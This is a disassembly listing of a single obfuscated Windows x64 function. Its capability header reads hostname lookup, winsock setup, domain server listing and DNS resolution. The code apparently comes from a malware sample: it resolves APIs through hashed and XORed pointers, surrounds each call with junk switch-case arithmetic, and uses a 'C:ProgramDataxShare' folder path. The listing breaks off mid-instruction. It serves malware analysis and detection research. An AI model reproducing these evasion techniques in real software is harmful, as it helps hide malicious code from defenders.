Function at 0x140014642
Capabilities:
Get hostname
Initialize winsock library
List domain servers
Resolve dns

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xff8
lea rbp, [rsp + 0x80]
call fcn.140001460
movups xmm0, xmmword [0x14002caa0]
lea rsi, [rbp + 0x400]
movaps xmmword [rsi + 0x20], xmm0
movups xmm0, xmmword [0x14002ca90]
movaps xmmword [rsi + 0x10], xmm0
movupd xmm0, xmmword [0x14002ca80]
movapd xmmword [rsi], xmm0
movabs rax, 0x51003c003f002d
mov qword [rsi + 0x2e], rax
call fcn.140010073
mov rdi, rax
call fcn.14000fffb
mov rbx, rax
mov rcx, rsi
call fcn.14000dd00
mov rcx, rdi
mov rdx, rbx
mov r8, rax
call fcn.14000cbea
lea rdx, [0x14002cab6]
lea rsi, [rbp + 0x17a]
push 0x76
pop r8
mov rcx, rsi
call fcn.140007f44
mov rcx, rsi
call fcn.140015dd0
mov rsi, rax
lea rdi, [rbp + 0x1f0]
push 0x18
pop rdx
mov rcx, rdi
call fcn.1400080da
lea rbx, [rbp + 0x450]
push 0x68
pop rdx
mov rcx, rbx
call fcn.1400080da
mov dword [rbx], 0x68
mov r14, qword [0x14002fd08]
push 0x15
pop r13
test r14, r14
jne 0x140014ad5
lea r14, [rbp + 0x970]
mov dword [r14], 0x60a5bfa7
call fcn.140003418
mov ecx, 0x1f2
xor edx, edx
div ecx
inc edx
lea rax, [rbp + 0xdc0]
mov dword [rax], edx
mov rcx, r14
mov rdx, rax
call fcn.140003832
mov r14, rax
mov qword [0x14002fd08], rax
movsxd r12, dword [0x14002f2e0]
imul rax, r12, 0xbd1
xor edx, edx
div r13
cmp rdx, 0x14
ja case.default.0x140014789
lea rax, [0x14002dae0]
movsxd rcx, dword [rax + rdx*4]
add rcx, rax
jmp rcx
mov ecx, 0x35c0
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
jmp case.default.0x140014789
mov ecx, 0x35c1
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2ss xmm0, edx
movss dword [rbp + 0x970], xmm0
jmp case.default.0x140014789
mov ecx, 0x35c2
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2sd xmm0, edx
movsd qword [rbp + 0x970], xmm0
jmp case.default.0x140014789
mov ecx, 0x35c3
call fcn.140004bca
mov ecx, 0x186a0
xor edx, edx
div ecx
mov byte [rbp + 0x970], dl
jmp case.default.0x140014789
movapd xmm0, xmmword [0x14002ca30]
movapd xmmword [rbp + 0x970], xmm0
jmp case.default.0x140014789
mov eax, dword [0x14002ca40]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002ca44]
jmp 0x1400148c5
mov eax, dword [0x14002ca48]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002ca4c]
jmp 0x1400148c5
mov eax, dword [0x14002ca50]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002ca54]
jmp 0x1400148c5
mov eax, dword [0x14002ca58]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002ca5c]
jmp 0x1400148c5
mov eax, dword [0x14002ca60]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002ca64]
jmp 0x1400148c5
mov eax, dword [0x14002ca68]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002ca6c]
jmp 0x1400148c5
mov eax, dword [0x14002ca70]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002ca74]
jmp 0x1400148c5
mov eax, dword [0x14002ca78]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002ca7c]
mov dword [rbp + 0xdc0], eax
mov eax, dword [rbp + 0xdc0]
jmp case.default.0x140014789
mov ecx, 0x35d8
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x35d9
call fcn.140004bca
xor edx, edx
mov ecx, 0x2710
div ecx
add edx, r15d
jmp 0x140014ac4
mov ecx, 0x35da
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x35db
call fcn.140004bca
xor edx, edx
mov ecx, 0x2710
div ecx
imul edx, r15d
jmp 0x140014ac4
mov ecx, 0x35dc
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x35dd
call fcn.140004bca
xor edx, edx
mov ecx, 0x2710
div ecx
or edx, r15d
jmp 0x140014ac4
mov ecx, 0x35de
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x35df
call fcn.140004bca
xor edx, edx
mov ecx, 0x2710
div ecx
xor edx, r15d
jmp 0x140014ac4
mov ecx, 0x35e0
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x35e1
call fcn.140004bca
xor edx, edx
mov ecx, 0x2710
div ecx
and edx, r15d
jmp 0x140014ac4
mov ecx, 0x35e2
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x35e3
call fcn.140004bca
xor edx, edx
mov ecx, 0x2710
div ecx
sub r15d, edx
mov dword [rbp + 0xdc0], r15d
jmp case.default.0x140014789
mov ecx, 0x35e4
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x35e5
call fcn.140004bca
xor edx, edx
mov ecx, 0x2710
div ecx
mov ecx, edx
inc ecx
mov eax, r15d
xor edx, edx
div ecx
mov dword [rbp + 0xdc0], eax
jmp case.default.0x140014789
mov ecx, 0x35e6
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x35e7
call fcn.140004bca
xor edx, edx
mov ecx, 0x2710
div ecx
mov ecx, edx
inc ecx
mov eax, r15d
xor edx, edx
div ecx
mov dword [rbp + 0xdc0], edx
lea eax, [r12 + 1]
mov dword [0x14002f2e0], eax
lea rdx, [rbp + 0xdc0]
mov qword [rdx], 0xeab
lea r15, [rbp + 0x860]
mov qword [r15], 0xefb
lea r12, [rbp + 0x970]
mov rcx, r12
call fcn.140004c27
mov rcx, r12
mov rdx, r15
call fcn.140004c89
xor r14, qword [r15]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rbx
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x30], xmm0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call r14
and dword [rbp + 0xf70], 0
lea rax, [0x14002bb98]
mov qword [rbp + 0xd88], rax
and dword [rbp + 0xd90], 0
mov qword [rbp + 0xd98], rax
movabs rax, 0x6400000000
mov qword [rbp + 0xda0], rax
and dword [rbp + 0xda8], 0
lea rax, str.C:ProgramDataxShare
mov qword [rbp + 0xdb0], rax
and qword [rbp + 0xdb8], 0
mov rsi, qword [0x14002fd00]
test rsi, rsi
jne 0x140014f25
lea rsi, [rbp + 0x970]
mov dword [rsi], 0x3cd99ade
call fcn.140003418
mov ecx, 0x1f2
xor edx, edx
div ecx
inc edx
lea rax, [rbp + 0x450]
mov dword [rax], edx
mov rcx, rsi
mov rdx, rax
call fcn.140003832
mov rsi, rax
mov qword [0x14002fd00], rax
movsxd rbx, dword [0x14002f2e0]
imul rax, rbx, 0xbd1
xor edx, edx
div r13
cmp rdx, 0x14
ja case.default.0x140014c01
lea rax, [0x14002db34]
movsxd rcx, dword [rax + rdx*4]
add rcx, rax
jmp rcx
mov ecx, 0x3520
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
jmp case.default.0x140014c01
mov ecx, 0x3521
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2ss xmm0, edx
movss dword [rbp + 0x970], xmm0
jmp case.default.0x140014c01
mov ecx, 0x3522
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2sd xmm0, edx
movsd qword [rbp + 0x970], xmm0
jmp case.default.0x140014c01
mov ecx, 0x3523
call fcn.140004bca
mov ecx, 0x186a0
xor edx, edx
div ecx
mov byte [rbp + 0x970], dl
jmp case.default.0x140014c01
movapd xmm0, xmmword [0x14002c8f0]
movapd xmmword [rbp + 0x970], xmm0
jmp case.default.0x140014c01
mov eax, dword [0x14002c900]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c904]
jmp 0x140014d3d
mov eax, dword [0x14002c908]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c90c]
jmp 0x140014d3d
mov eax, dword [0x14002c910]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c914]
jmp 0x140014d3d
mov eax, dword [0x14002c918]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c91c]
jmp 0x140014d3d
mov eax, dword [0x14002c920]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c924]
jmp 0x140014d3d
mov eax, dword [0x14002c928]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c92c]
jmp 0x140014d3d
mov eax, dword [0x14002c930]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c934]
jmp 0x140014d3d
mov eax, dword [0x14002c938]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c93c]
mov dword [rbp + 0x450], eax
mov eax, dword [rbp + 0x450]
jmp case.default.0x140014c01
mov ecx, 0x3538
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x3539
call fcn.140004bca
xor edx, edx
div edi
add edx, r14d
jmp 0x140014f16
mov ecx, 0x353a
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x353b
call fcn.140004bca
xor edx, edx
div edi
imul edx, r14d
jmp 0x140014f16
mov ecx, 0x353c
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x353d
call fcn.140004bca
xor edx, edx
div edi
or edx, r14d
jmp 0x140014f16
mov ecx, 0x353e
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x353f
call fcn.140004bca
xor edx, edx
div edi
xor edx, r14d
jmp 0x140014f16
mov ecx, 0x3540
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x3541
call fcn.140004bca
xor edx, edx
div edi
and edx, r14d
jmp 0x140014f16
mov ecx, 0x3542
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x3543
call fcn.140004bca
xor edx, edx
div edi
sub r14d, edx
mov dword [rbp + 0x450], r14d
jmp case.default.0x140014c01
mov ecx, 0x3544
call fcn.140004bca
mov r14d, 0x2710
xor edx, edx
div r14d
mov dword [rbp + 0x970], edx
mov edi, dword [rbp + 0x970]
mov ecx, 0x3545
call fcn.140004bca
xor edx, edx
div r14d
mov ecx, edx
inc ecx
mov eax, edi
xor edx, edx
div ecx
mov dword [rbp + 0x450], eax
jmp case.default.0x140014c01
mov ecx, 0x3546
call fcn.140004bca
mov r14d, 0x2710
xor edx, edx
div r14d
mov dword [rbp + 0x970], edx
mov edi, dword [rbp + 0x970]
mov ecx, 0x3547
call fcn.140004bca
xor edx, edx
div r14d
mov ecx, edx
inc ecx
mov eax, edi
xor edx, edx
div ecx
mov dword [rbp + 0x450], edx
lea eax, [rbx + 1]
mov dword [0x14002f2e0], eax
lea rdx, [rbp + 0x450]
mov qword [rdx], 0xeab
lea rdi, [rbp + 0x1f0]
mov qword [rdi], 0xefb
lea rbx, [rbp + 0x970]
mov rcx, rbx
call fcn.140004c27
mov rcx, rbx
mov rdx, rdi
call fcn.140004c89
xor rsi, qword [rdi]
lea rcx, str.C:ProgramDataxShare
xor edx, edx
call rsi
lea rcx, [rbp + 0x1f0]
mov edx, 0x20a
call fcn.1400080da
and qword [rbp + 0xf60], 0
mov rsi, qword [0x14002fd10]
test rsi, rsi
jne 0x14001531c
lea rsi, [rbp + 0x970]
mov dword [rsi], 0x6c54b0e1
call fcn.140003418
mov ecx, 0x1f2
xor edx, edx
div ecx
inc edx
lea rax, [rbp + 0x450]
mov dword [rax], edx
mov rcx, rsi
mov rdx, rax
call fcn.140003832
mov rsi, rax
mov qword [0x14002fd10], rax
movsxd rbx, dword [0x14002f2e0]
imul rax, rbx, 0xbd1
xor edx, edx
div r13
cmp rdx, 0x14
ja case.default.0x140014ff8
lea rax, [0x14002db88]
movsxd rcx, dword [rax + rdx*4]
add rcx, rax
jmp rcx
mov ecx, 0x3548
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
jmp case.default.0x140014ff8
mov ecx, 0x3549
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2ss xmm0, edx
movss dword [rbp + 0x970], xmm0
jmp case.default.0x140014ff8
mov ecx, 0x354a
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2sd xmm0, edx
movsd qword [rbp + 0x970], xmm0
jmp case.default.0x140014ff8
mov ecx, 0x354b
call fcn.140004bca
mov ecx, 0x186a0
xor edx, edx
div ecx
mov byte [rbp + 0x970], dl
jmp case.default.0x140014ff8
movapd xmm0, xmmword [0x14002c940]
movapd xmmword [rbp + 0x970], xmm0
jmp case.default.0x140014ff8
mov eax, dword [0x14002c950]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c954]
jmp 0x140015134
mov eax, dword [0x14002c958]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c95c]
jmp 0x140015134
mov eax, dword [0x14002c960]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c964]
jmp 0x140015134
mov eax, dword [0x14002c968]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c96c]
jmp 0x140015134
mov eax, dword [0x14002c970]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c974]
jmp 0x140015134
mov eax, dword [0x14002c978]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c97c]
jmp 0x140015134
mov eax, dword [0x14002c980]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c984]
jmp 0x140015134
mov eax, dword [0x14002c988]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c98c]
mov dword [rbp + 0x450], eax
mov eax, dword [rbp + 0x450]
jmp case.default.0x140014ff8
mov ecx, 0x3560
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x3561
call fcn.140004bca
xor edx, edx
div edi
add edx, r14d
jmp 0x14001530d
mov ecx, 0x3562
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x3563
call fcn.140004bca
xor edx, edx
div edi
imul edx, r14d
jmp 0x14001530d
mov ecx, 0x3564
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x3565
call fcn.140004bca
xor edx, edx
div edi
or edx, r14d
jmp 0x14001530d
mov ecx, 0x3566
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x3567
call fcn.140004bca
xor edx, edx
div edi
xor edx, r14d
jmp 0x14001530d
mov ecx, 0x3568
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x3569
call fcn.140004bca
xor edx, edx
div edi
and edx, r14d
jmp 0x14001530d
mov ecx, 0x356a
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0x970], edx
mov r14d, dword [rbp + 0x970]
mov ecx, 0x356b
call fcn.140004bca
xor edx, edx
div edi
sub r14d, edx
mov dword [rbp + 0x450], r14d
jmp case.default.0x140014ff8
mov ecx, 0x356c
call fcn.140004bca
mov r14d, 0x2710
xor edx, edx
div r14d
mov dword [rbp + 0x970], edx
mov edi, dword [rbp + 0x970]
mov ecx, 0x356d
call fcn.140004bca
xor edx, edx
div r14d
mov ecx, edx
inc ecx
mov eax, edi
xor edx, edx
div ecx
mov dword [rbp + 0x450], eax
jmp case.default.0x140014ff8
mov ecx, 0x356e
call fcn.140004bca
mov r14d, 0x2710
xor edx, edx
div r14d
mov dword [rbp + 0x970], edx
mov edi, dword [rbp + 0x970]
mov ecx, 0x356f
call fcn.140004bca
xor edx, edx
div r14d
mov ecx, edx
inc ecx
mov eax, edi
xor edx, edx
div ecx
mov dword [rbp + 0x450], edx
lea eax, [rbx + 1]
mov dword [0x14002f2e0], eax
lea rdx, [rbp + 0x450]
mov qword [rdx], 0xeab
lea rdi, [rbp + 0xdc0]
mov qword [rdi], 0xefb
lea rbx, [rbp + 0x970]
mov rcx, rbx
call fcn.140004c27
mov rcx, rbx
mov rdx, rdi
call fcn.140004c89
xor rsi, qword [rdi]
lea rdx, [0x14000dcf9]
push 6
pop rcx
lea rdi, [rbp + 0xf60]
mov r8, rdi
call rsi
mov rcx, qword [rdi]
lea rsi, [rbp + 0x1f0]
mov rdx, rsi
call fcn.1400081f6
mov rdi, qword [0x140037270]
test rdi, rdi
jne 0x14001571c
lea rdi, [rbp + 0x970]
mov dword [rdi], 0x57531952
call fcn.140003418
mov ecx, 0x1f2
xor edx, edx
div ecx
add edx, 0x1f5
lea rax, [rbp + 0x450]
mov dword [rax], edx
mov rcx, rdi
mov rdx, rax
call fcn.140003832
mov rdi, rax
mov qword [0x140037270], rax
movsxd r14, dword [0x14002f2e4]
imul rax, r14, 0xbd1
xor edx, edx
div r13
cmp rdx, 0x14
ja case.default.0x1400153f7
lea rax, [0x14002dbdc]
movsxd rcx, dword [rax + rdx*4]
add rcx, rax
jmp rcx
mov ecx, 0x3570
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0x970], edx
jmp case.default.0x1400153f7
mov ecx, 0x3571
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2ss xmm0, edx
movss dword [rbp + 0x970], xmm0
jmp case.default.0x1400153f7
mov ecx, 0x3572
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2sd xmm0, edx
movsd qword [rbp + 0x970], xmm0
jmp case.default.0x1400153f7
mov ecx, 0x3573
call fcn.140004bca
mov ecx, 0x186a0
xor edx, edx
div ecx
mov byte [rbp + 0x970], dl
jmp case.default.0x1400153f7
movapd xmm0, xmmword [0x14002c990]
movapd xmmword [rbp + 0x970], xmm0
jmp case.default.0x1400153f7
mov eax, dword [0x14002c9a0]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c9a4]
jmp 0x140015533
mov eax, dword [0x14002c9a8]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c9ac]
jmp 0x140015533
mov eax, dword [0x14002c9b0]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c9b4]
jmp 0x140015533
mov eax, dword [0x14002c9b8]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c9bc]
jmp 0x140015533
mov eax, dword [0x14002c9c0]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c9c4]
jmp 0x140015533
mov eax, dword [0x14002c9c8]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c9cc]
jmp 0x140015533
mov eax, dword [0x14002c9d0]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c9d4]
jmp 0x140015533
mov eax, dword [0x14002c9d8]
mov dword [rbp + 0x970], eax
mov eax, dword [0x14002c9dc]
mov dword [rbp + 0x450], eax
mov eax, dword [rbp + 0x450]
jmp case.default.0x1400153f7
mov ecx, 0x3588
call fcn.140004bca
mov ebx, 0x2710
xor edx, edx
div ebx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x3589
call fcn.140004bca
xor edx, edx
div ebx
add edx, r15d
jmp 0x14001570c
mov ecx, 0x358a
call fcn.140004bca
mov ebx, 0x2710
xor edx, edx
div ebx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x358b
call fcn.140004bca
xor edx, edx
div ebx
imul edx, r15d
jmp 0x14001570c
mov ecx, 0x358c
call fcn.140004bca
mov ebx, 0x2710
xor edx, edx
div ebx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x358d
call fcn.140004bca
xor edx, edx
div ebx
or edx, r15d
jmp 0x14001570c
mov ecx, 0x358e
call fcn.140004bca
mov ebx, 0x2710
xor edx, edx
div ebx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x358f
call fcn.140004bca
xor edx, edx
div ebx
xor edx, r15d
jmp 0x14001570c
mov ecx, 0x3590
call fcn.140004bca
mov ebx, 0x2710
xor edx, edx
div ebx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x3591
call fcn.140004bca
xor edx, edx
div ebx
and edx, r15d
jmp 0x14001570c
mov ecx, 0x3592
call fcn.140004bca
mov ebx, 0x2710
xor edx, edx
div ebx
mov dword [rbp + 0x970], edx
mov r15d, dword [rbp + 0x970]
mov ecx, 0x3593
call fcn.140004bca
xor edx, edx
div ebx
sub r15d, edx
mov dword [rbp + 0x450], r15d
jmp case.default.0x1400153f7
mov ecx, 0x3594
call fcn.140004bca
mov r15d, 0x2710
xor edx, edx
div r15d
mov dword [rbp + 0x970], edx
mov ebx, dword [rbp + 0x970]
mov ecx, 0x3595
call fcn.140004bca
xor edx, edx
div r15d
mov ecx, edx
inc ecx
mov eax, ebx
xor edx, edx
div ecx
mov dword [rbp + 0x450], eax
jmp case.default.0x1400153f7
mov ecx, 0x3596
call fcn.140004bca
mov r15d, 0x2710
xor edx, edx
div r15d
mov dword [rbp + 0x970], edx
mov ebx, dword [rbp + 0x970]
mov ecx, 0x3597
call fcn.140004bca
xor edx, edx
div r15d
mov ecx, edx
inc ecx
mov eax, ebx
xor edx, edx
div ecx
mov dword [rbp + 0x450], edx
lea eax, [r14 + 1]
mov dword [0x14002f2e4], eax
lea rdx, [rbp + 0x450]
mov qword [rdx], 0xeab
lea rbx, [rbp + 0xdc0]
mov qword [rbx], 0xefb
lea r14, [rbp + 0x970]
mov rcx, r14
call fcn.140004c27
mov rcx, r14
mov rdx, rbx
call fcn.140004c89
xor rdi, qword [rbx]
mov rcx, qword [rbp + 0xf60]
call rdi
lea rax, [rbp + 0x1f2]
movzx ecx, word [rax - 2]
cmp ecx, 0x2f
je 0x140015779
cmp ecx, 0x5c
je 0x140015779
test ecx, ecx
jne 0x14001577c
jmp 0x140015782
mov rsi, rax
add rax, 2
jmp 0x140015765
mov r15, rsp
movups xmm0, xmmword [0x14002c3c0]
lea rdi, [rbp + 0x970]
movaps xmmword [rdi + 0x20], xmm0
movups xmm0, xmmword [0x14002c3b0]
movaps xmmword [rdi + 0x10], xmm0
movupd xmm0, xmmword [str.VZZZZVV..66::__::66Q]
movapd xmmword [rdi], xmm0
movabs rax, 0x51002a00360036
mov qword [rdi + 0x2e], rax
xor r12d, r12d
cmp r12, 8
je 0x140015805
mov rcx, rdi
call fcn.14000dd00
mov rbx, rax
call fcn.140003418
mov r14, rax
mov rcx, rdi
call fcn.14000dd00
mov rcx, rax
call fcn.1400068dd
mov rcx, rax
mov rax, r14
xor edx, edx
div rcx
movzx eax, word [rbx + rdx*2]
mov word [rbp + r12*2 + 0x450], ax
inc r12
jmp 0x1400157bf
mov rsp, r15
lea rdi, [rbp + 0x970]
lea rdx, [rbp + 0x450]
mov rcx, rdi
call fcn.1400081a3
mov rcx, rdi
mov rdx, rsi
call fcn.140006d00
lea rdx, str.C:ProgramDataxShare
lea rsi, [rbp + 0x450]
mov rcx, rsi
call fcn.1400081a3
lea rcx, [rbp + 0xdc0]
mov dword [rcx], 0x38006b
call fcn.140006db0
mov rcx, rsi
mov rdx, rax
call fcn.140006d00
mov rcx, rsi
mov rdx, rdi
call fcn.140006d00
mov rsi, qword [0x14002fcf8]
test rsi, rsi
jne 0x140015c01
lea rsi, [rbp + 0xdc0]
mov dword [rsi], 0x6ad041a3
call fcn.140003418
mov ecx, 0x1f2
xor edx, edx
div ecx
inc edx
lea rax, [rbp + 0x860]
mov dword [rax], edx
mov rcx, rsi
mov rdx, rax
call fcn.140003832
mov rsi, rax
mov qword [0x14002fcf8], rax
movsxd rbx, dword [0x14002f2e0]
imul rax, rbx, 0xbd1
xor edx, edx
div r13
cmp rdx, 0x14
ja case.default.0x1400158dd
lea rax, [0x14002dc30]
movsxd rcx, dword [rax + rdx*4]
add rcx, rax
jmp rcx
mov ecx, 0x3598
call fcn.140004bca
mov ecx, 0x2710
xor edx, edx
div ecx
mov dword [rbp + 0xdc0], edx
jmp case.default.0x1400158dd
mov ecx, 0x3599
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2ss xmm0, edx
movss dword [rbp + 0xdc0], xmm0
jmp case.default.0x1400158dd
mov ecx, 0x359a
call fcn.140004bca
mov ecx, 0x3e8
xor edx, edx
div ecx
cvtsi2sd xmm0, edx
movsd qword [rbp + 0xdc0], xmm0
jmp case.default.0x1400158dd
mov ecx, 0x359b
call fcn.140004bca
mov ecx, 0x186a0
xor edx, edx
div ecx
mov byte [rbp + 0xdc0], dl
jmp case.default.0x1400158dd
movapd xmm0, xmmword [0x14002c9e0]
movapd xmmword [rbp + 0xdc0], xmm0
jmp case.default.0x1400158dd
mov eax, dword [0x14002c9f0]
mov dword [rbp + 0xdc0], eax
mov eax, dword [0x14002c9f4]
jmp 0x140015a19
mov eax, dword [0x14002c9f8]
mov dword [rbp + 0xdc0], eax
mov eax, dword [0x14002c9fc]
jmp 0x140015a19
mov eax, dword [0x14002ca00]
mov dword [rbp + 0xdc0], eax
mov eax, dword [0x14002ca04]
jmp 0x140015a19
mov eax, dword [0x14002ca08]
mov dword [rbp + 0xdc0], eax
mov eax, dword [0x14002ca0c]
jmp 0x140015a19
mov eax, dword [0x14002ca10]
mov dword [rbp + 0xdc0], eax
mov eax, dword [0x14002ca14]
jmp 0x140015a19
mov eax, dword [0x14002ca18]
mov dword [rbp + 0xdc0], eax
mov eax, dword [0x14002ca1c]
jmp 0x140015a19
mov eax, dword [0x14002ca20]
mov dword [rbp + 0xdc0], eax
mov eax, dword [0x14002ca24]
jmp 0x140015a19
mov eax, dword [0x14002ca28]
mov dword [rbp + 0xdc0], eax
mov eax, dword [0x14002ca2c]
mov dword [rbp + 0x860], eax
mov eax, dword [rbp + 0x860]
jmp case.default.0x1400158dd
mov ecx, 0x35b0
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0xdc0], edx
mov r14d, dword [rbp + 0xdc0]
mov ecx, 0x35b1
call fcn.140004bca
xor edx, edx
div edi
add edx, r14d
jmp 0x140015bf2
mov ecx, 0x35b2
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0xdc0], edx
mov r14d, dword [rbp + 0xdc0]
mov ecx, 0x35b3
call fcn.140004bca
xor edx, edx
div edi
imul edx, r14d
jmp 0x140015bf2
mov ecx, 0x35b4
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0xdc0], edx
mov r14d, dword [rbp + 0xdc0]
mov ecx, 0x35b5
call fcn.140004bca
xor edx, edx
div edi
or edx, r14d
jmp 0x140015bf2
mov ecx, 0x35b6
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0xdc0], edx
mov r14d, dword [rbp + 0xdc0]
mov ecx, 0x35b7
call fcn.140004bca
xor edx, edx
div edi
xor edx, r14d
jmp 0x140015bf2
mov ecx, 0x35b8
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0xdc0], edx
mov r14d, dword [rbp + 0xdc0]
mov ecx, 0x35b9
call fcn.140004bca
xor edx, edx
div edi
and edx, r14d
jmp 0x140015bf2
mov ecx, 0x35ba
call fcn.140004bca
mov edi, 0x2710
xor edx, edx
div edi
mov dword [rbp + 0xdc0], edx
mov r14d, dword [rbp + 0xdc0]
mov ecx, 0x35bb
call fcn.140004bca
xor edx, edx
div edi
sub r14d, edx
mov dword [rbp + 0x860], r14d
jmp case.default.0x1400158dd
mov ecx, 0x35bc
call fcn.140004bca
mov r14d, 0x2710
xor edx, edx
div r14d
mov dword [rbp + 0xdc0], edx
mov edi, dword [rbp + 0xdc0]
mov ecx, 0x35bd
call fcn.140004bca
xor edx, edx
div r14d
mov ecx, edx
inc ecx
mov eax, edi
xor edx, edx
div ecx
mov dword [rbp + 0x860], eax
jmp case.default.0x1400158dd
mov ecx, 0x35be
